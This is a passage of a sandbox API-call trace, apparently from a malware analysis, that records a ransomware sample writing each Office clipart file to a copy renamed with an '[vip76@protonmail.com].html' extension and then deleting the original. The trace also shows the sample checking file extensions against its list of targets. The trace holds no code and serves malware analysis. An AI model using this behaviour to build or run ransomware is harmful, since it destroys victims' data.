	[0187.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.929] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.929] lstrlenW (lpString="J0099203.GIF") returned 12
	[0187.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.930] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3904) returned 1
	[0187.930] CloseHandle (hObject=0x5c4) returned 1
	[0187.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220
	[0187.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.093] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.093] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc
	[0188.393] GetLastError () returned 0x0
	[0188.393] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xf40, lpOverlapped=0x0) returned 1
	[0188.395] WriteFile (in: hFile=0x5cc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xf50, lpOverlapped=0x0) returned 1
	[0188.397] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.397] WriteFile (in: hFile=0x5cc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.397] SetEndOfFile (hFile=0x5cc) returned 1
	[0188.397] CloseHandle (hObject=0x5cc) returned 1
	[0188.397] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.397] SetEndOfFile (hFile=0x538) returned 1
	[0188.400] CloseHandle (hObject=0x538) returned 1
	[0188.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1
	[0188.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.401] lstrlenW (lpString=".doc") returned 4
	[0188.401] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0188.402] lstrlenW (lpString=".docx") returned 5
	[0188.402] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0188.402] lstrlenW (lpString=".pdf") returned 4
	[0188.402] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0188.402] lstrlenW (lpString=".xls") returned 4
	[0188.402] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0188.402] lstrlenW (lpString=".xlsx") returned 5
	[0188.402] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0188.402] lstrlenW (lpString=".ppt") returned 4
	[0188.402] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0188.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.402] lstrlenW (lpString=".zip") returned 4
	[0188.402] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0188.402] lstrlenW (lpString=".rar") returned 4
	[0188.402] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0188.402] lstrlenW (lpString=".bz2") returned 4
	[0188.402] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0188.402] lstrlenW (lpString=".7z") returned 3
	[0188.402] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0188.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.402] lstrlenW (lpString=".dbf") returned 4
	[0188.402] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0188.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.402] lstrlenW (lpString=".1cd") returned 4
	[0188.402] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0188.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.402] lstrlenW (lpString=".jpg") returned 4
	[0188.402] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0188.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.403] lstrlenW (lpString=".doc") returned 4
	[0188.403] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0188.403] lstrlenW (lpString=".docx") returned 5
	[0188.403] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0188.403] lstrlenW (lpString=".pdf") returned 4
	[0188.403] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0188.403] lstrlenW (lpString=".xls") returned 4
	[0188.403] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0188.403] lstrlenW (lpString=".xlsx") returned 5
	[0188.403] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0188.403] lstrlenW (lpString=".ppt") returned 4
	[0188.403] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0188.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.403] lstrlenW (lpString=".zip") returned 4
	[0188.403] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0188.403] lstrlenW (lpString=".rar") returned 4
	[0188.403] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0188.403] lstrlenW (lpString=".bz2") returned 4
	[0188.403] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0188.403] lstrlenW (lpString=".7z") returned 3
	[0188.403] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0188.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.403] lstrlenW (lpString=".dbf") returned 4
	[0188.403] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0188.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.404] lstrlenW (lpString=".1cd") returned 4
	[0188.404] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0188.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68
	[0188.404] lstrlenW (lpString=".jpg") returned 4
	[0188.404] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0188.404] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.404] lstrlenW (lpString="J0101860.BMP") returned 12
	[0188.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.405] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=32184) returned 1
	[0188.405] CloseHandle (hObject=0x538) returned 1
	[0188.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220
	[0188.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.406] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.406] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc
	[0188.407] GetLastError () returned 0x0
	[0188.407] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.410] WriteFile (in: hFile=0x5cc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.412] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.412] WriteFile (in: hFile=0x5cc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.412] SetEndOfFile (hFile=0x5cc) returned 1
	[0188.412] CloseHandle (hObject=0x5cc) returned 1
	[0188.412] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.412] SetEndOfFile (hFile=0x538) returned 1
	[0188.416] CloseHandle (hObject=0x538) returned 1
	[0188.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1
	[0188.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.417] lstrlenW (lpString=".doc") returned 4
	[0188.417] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString=".docx") returned 5
	[0188.418] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0188.418] lstrlenW (lpString=".pdf") returned 4
	[0188.418] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString=".xls") returned 4
	[0188.418] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString=".xlsx") returned 5
	[0188.418] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0188.418] lstrlenW (lpString=".ppt") returned 4
	[0188.418] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.418] lstrlenW (lpString=".zip") returned 4
	[0188.418] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString=".rar") returned 4
	[0188.418] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString=".bz2") returned 4
	[0188.418] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString=".7z") returned 3
	[0188.418] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.418] lstrlenW (lpString=".dbf") returned 4
	[0188.418] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.418] lstrlenW (lpString=".1cd") returned 4
	[0188.418] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.418] lstrlenW (lpString=".jpg") returned 4
	[0188.418] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.419] lstrlenW (lpString=".doc") returned 4
	[0188.419] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString=".docx") returned 5
	[0188.419] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0188.419] lstrlenW (lpString=".pdf") returned 4
	[0188.419] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString=".xls") returned 4
	[0188.419] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString=".xlsx") returned 5
	[0188.419] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0188.419] lstrlenW (lpString=".ppt") returned 4
	[0188.419] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.419] lstrlenW (lpString=".zip") returned 4
	[0188.419] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString=".rar") returned 4
	[0188.419] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString=".bz2") returned 4
	[0188.419] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString=".7z") returned 3
	[0188.419] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.419] lstrlenW (lpString=".dbf") returned 4
	[0188.419] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.419] lstrlenW (lpString=".1cd") returned 4
	[0188.419] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0188.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0188.419] lstrlenW (lpString=".jpg") returned 4
	[0188.420] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0188.420] lstrcmpiW (lpString1=".BMP", lpString2=".html") returned -1
	[0188.420] lstrlenW (lpString="J0101861.BMP") returned 12
	[0188.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.420] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=32184) returned 1
	[0188.420] CloseHandle (hObject=0x538) returned 1
	[0188.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220
	[0188.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.421] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.421] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5cc
	[0188.422] GetLastError () returned 0x0
	[0188.422] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0188.425] WriteFile (in: hFile=0x5cc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0188.427] ReadFile (in: hFile=0x538, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.427] WriteFile (in: hFile=0x5cc, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0188.427] SetEndOfFile (hFile=0x5cc) returned 1
	[0188.427] CloseHandle (hObject=0x5cc) returned 1
	[0188.427] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.427] SetEndOfFile (hFile=0x538) returned 1
	[0188.773] CloseHandle (hObject=0x538) returned 1
	[0188.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0189.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1
	[0189.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.319] lstrlenW (lpString=".doc") returned 4
	[0189.319] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString=".docx") returned 5
	[0189.319] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0189.319] lstrlenW (lpString=".pdf") returned 4
	[0189.319] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString=".xls") returned 4
	[0189.319] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString=".xlsx") returned 5
	[0189.319] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0189.319] lstrlenW (lpString=".ppt") returned 4
	[0189.319] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.319] lstrlenW (lpString=".zip") returned 4
	[0189.319] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString=".rar") returned 4
	[0189.319] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString=".bz2") returned 4
	[0189.319] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString=".7z") returned 3
	[0189.319] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0189.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.319] lstrlenW (lpString=".dbf") returned 4
	[0189.319] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0189.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.319] lstrlenW (lpString=".1cd") returned 4
	[0189.320] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0189.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.320] lstrlenW (lpString=".jpg") returned 4
	[0189.320] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0189.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.320] lstrlenW (lpString=".doc") returned 4
	[0189.320] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0189.320] lstrlenW (lpString=".docx") returned 5
	[0189.320] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0189.320] lstrlenW (lpString=".pdf") returned 4
	[0189.320] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0189.320] lstrlenW (lpString=".xls") returned 4
	[0189.320] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0189.320] lstrlenW (lpString=".xlsx") returned 5
	[0189.320] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0189.320] lstrlenW (lpString=".ppt") returned 4
	[0189.320] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0189.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.320] lstrlenW (lpString=".zip") returned 4
	[0189.320] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0189.320] lstrlenW (lpString=".rar") returned 4
	[0189.320] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0189.320] lstrlenW (lpString=".bz2") returned 4
	[0189.320] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0189.321] lstrlenW (lpString=".7z") returned 3
	[0189.321] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0189.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.321] lstrlenW (lpString=".dbf") returned 4
	[0189.321] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0189.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.321] lstrlenW (lpString=".1cd") returned 4
	[0189.321] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0189.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0189.321] lstrlenW (lpString=".jpg") returned 4
	[0189.321] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0189.321] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0189.321] lstrlenW (lpString="J0102762.WMF") returned 12
